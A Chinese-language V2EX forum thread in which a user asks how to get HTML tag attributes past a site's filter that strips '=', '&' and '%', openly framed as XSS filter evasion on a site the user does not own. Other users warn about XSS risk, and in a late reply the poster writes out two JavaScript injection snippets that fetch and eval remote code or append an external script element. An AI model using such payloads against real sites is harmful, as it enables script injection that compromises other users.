V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
cyrbuzz
V2EX  ›  程序员

老哥们, html 标签过滤了=号&和%有没有可以直接写标签属性的方法?

  •  
  •   cyrbuzz ·
    HuberTRoy · 2022-02-15 12:11:50 +08:00 · 2327 次点击
    这是一个创建于 1019 天前的主题,其中的信息可能已经有所发展或是发生改变。

    例:<a href="xyz"></a>会过滤为<a href"xyz"></a>

    不用 js 的情况下还有办法能让 href 正常生效吗?

    27 条回复    2022-02-16 15:57:54 +08:00
    Huyoumnonos
        1
    Huyoumnonos  
       2022-02-15 16:01:24 +08:00 via Android
    啥意思😳,没读懂
    cyrbuzz
        2
    cyrbuzz  
    OP
       2022-02-15 16:18:44 +08:00
    @Huyoumnonos

    类似 XSS ,过滤了部分字符。
    gadfly3173
        3
    gadfly3173  
       2022-02-15 17:11:40 +08:00   ❤️ 2
    @cyrbuzz #2 你这是 AB 问题了吧 不如把完整的情况写出来。。。
    shew2356
        4
    shew2356  
       2022-02-15 17:20:19 +08:00
    =号过滤了,又不用 js ,那没办法~
    shew2356
        5
    shew2356  
       2022-02-15 17:22:23 +08:00   ❤️ 1
    @Huyoumnonos 楼主的意思是,可能用正则手段过滤了 html 中的 =,&,%等符号,然后想 a 链接正常生效,又不用 js 在过滤之后再渲染最佳~
    vanton
        6
    vanton  
       2022-02-15 17:23:29 +08:00
    禁用了 = 号?
    不用 js 那就没啥可能了。
    Zzm1203
        7
    Zzm1203  
       2022-02-15 17:24:19 +08:00
    你这个是怎么过滤的?正则替换吗?如果不用 js 好像没什么办法,并且您的表述确实不知道这到底是个什么,前提条件和最终效果都是什么样的,在什么样的一个执行机制下,还有为什么不能用 js 去做
    yinjunjian0
        8
    yinjunjian0  
       2022-02-15 17:33:22 +08:00
    过滤也是自己做的编译过滤的吧
    设置范围过滤就好了
    cyrbuzz
        9
    cyrbuzz  
    OP
       2022-02-15 17:58:53 +08:00
    @gadfly3173
    @Zzm1203
    @yinjunjian0

    emmm...例子是完整情况。

    我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效,但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。

    不能用 JS 是一个限制条件。

    @shew2356

    完全就是这个意思~。
    cyrbuzz
        10
    cyrbuzz  
    OP
       2022-02-15 17:59:17 +08:00
    @vanton

    大佬,不在挣扎一下吗= =。
    zcf0508
        11
    zcf0508  
       2022-02-15 18:16:10 +08:00 via Android
    @cyrbuzz 后端的锅让他们自己处理
    maplerecall
        12
    maplerecall  
       2022-02-15 18:18:02 +08:00
    没办法。

    如果你是开发者,这种不合理的过滤规则找后端改,因为即使能用 JS 处理也不合理,反而会导致容易被 XSS 。
    如果你是使用者,也许自定义标签属性这种行为本身就属于不被允许的,有需求只能找服务提供方去改。
    mxT52CRuqR6o5
        13
    mxT52CRuqR6o5  
       2022-02-15 18:20:26 +08:00
    不过滤百分之一万会有 xss 风险
    href 里写"javascript:XXXX"就能执行任意 js 代码
    Xusually
        14
    Xusually  
       2022-02-15 18:21:37 +08:00   ❤️ 3
    这在我看来是“OP 在想办法绕过过滤去做 XSS”的问题
    cyrbuzz
        15
    cyrbuzz  
    OP
       2022-02-15 18:51:14 +08:00
    @Xusually

    是= =,只是并不为了攻击。
    cyrbuzz
        16
    cyrbuzz  
    OP
       2022-02-15 18:55:44 +08:00
    @mxT52CRuqR6o5

    是的,还是有 XSS 风险,只是我的目的不是攻击,也没有权限改其他人的网站。
    mxT52CRuqR6o5
        17
    mxT52CRuqR6o5  
       2022-02-15 19:11:50 +08:00 via Android
    @cyrbuzz 你不是恶意的,不代表其他人都不是恶意的啊,各种安全策略其实就是在防范可能出现的满怀恶意的人
    jin5354
        18
    jin5354  
       2022-02-15 20:24:36 +08:00
    那你加个中间层,维护个 map 映射表,提交前自己把 =,% 这种符号替换成 __$0 ,__$1 之类的,获取时自己再替换回来。
    learningman
        19
    learningman  
       2022-02-15 22:20:19 +08:00
    ctf 刷题呢,盲猜有别的字符可以转成=号,sql 构造试试
    cyrbuzz
        20
    cyrbuzz  
    OP
       2022-02-16 10:10:41 +08:00
    @jin5354

    这样没有达到本来的目的,这样只对我自己有效,这样搞就变成一个只能打自己的反射 XSS 了。
    cyrbuzz
        21
    cyrbuzz  
    OP
       2022-02-16 10:12:42 +08:00
    @learningman

    哈哈哈,可惜不是刷题木有答案,就是想找这个可以转换成=的字符,知识到了边界找不到了= =。
    jin5354
        22
    jin5354  
       2022-02-16 12:45:01 +08:00
    @cyrbuzz 网站不是你的,你还想让 XSS 对所有人生效,你这不是攻击是啥
    cyrbuzz
        23
    cyrbuzz  
    OP
       2022-02-16 14:17:16 +08:00
    @jin5354

    这还是有点不一样吧,并没有过滤<>/,script ,要是想攻击我直接插一个外部 JS 就完事了,我还用得着绕个大圈讲武德的硬写 HTML?
    lhstock
        24
    lhstock  
       2022-02-16 14:49:15 +08:00
    考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml
    wednesdayco
        25
    wednesdayco  
       2022-02-16 15:15:14 +08:00
    @cyrbuzz 没有=号你也插入不了外部 js 啊
    cyrbuzz
        26
    cyrbuzz  
    OP
       2022-02-16 15:55:41 +08:00
    @wednesdayco

    可以的,我想到的有两种:

    1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。

    2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。
    cyrbuzz
        27
    cyrbuzz  
    OP
       2022-02-16 15:57:54 +08:00
    @lhstock

    解析不受控,老哥能否具体说说怎么做?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2640 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 03:57 · PVG 11:57 · LAX 19:57 · JFK 22:57
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.